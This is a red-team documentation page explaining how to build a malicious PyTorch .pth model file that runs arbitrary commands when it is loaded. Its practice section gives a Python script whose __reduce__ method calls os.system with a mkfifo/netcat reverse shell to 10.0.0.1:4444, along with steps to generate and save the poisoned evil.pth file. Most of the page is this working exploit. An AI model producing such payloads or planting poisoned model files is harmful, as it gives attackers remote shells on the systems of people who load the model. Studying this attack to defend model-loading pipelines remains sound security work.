> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/python/pytorch-models-pth-files-code-execution.md).

# Pytorch Models/PTH Files Code Execution

## Theory

A file with a `.pth` extension typically contains a serialized PyTorch state dictionary. A PyTorch state dictionary is a Python dictionary that contains the state of a PyTorch model, including the model's weights, biases, and other parameters.

We can craft a malicious .pth file that will execute arbitrary code when model is loaded/trained/evaluated in the target system.

## Practice

{% tabs %}
{% tab title="Model Serialization Attack" %}

#### 1 - Install Dependencies

It requires `torch` so install it:

```bash
# Create a virtual environment to avoid pulluting the host environment.
python3 -m venv myvenv
pip3 install torch
```

#### 2 - Create Python Script To Generate Malicious Model

Now create a Python script that generates our malicious ML model. This model executes OS command when it is evaluated.

```python
# generate_model.py
import torch
import torch.nn as nn
import os

class EvilModel(nn.Module):
	def __init__(self):
		super(EvilModel, self).__init__()
		self.dense = nn.Linear(10, 50)
	
	def forward(self, evil):
		return self.dense(evil)
	
	def __reduce__(self):
		# Inject OS command.
		cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
		return os.system, (cmd,)

# Save the model
evil_model = EvilModel()
torch.save(evil_model, 'evil.pth')
```

#### 3 - Run Python Script

Now execute this Python script as below:

```bash
python3 generate_model.py
```

After that, our model named `evil.pth` will be generated.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://exploit-notes.hdks.org/exploit/machine-learning/model/create-malicious-ml-model/>" %}


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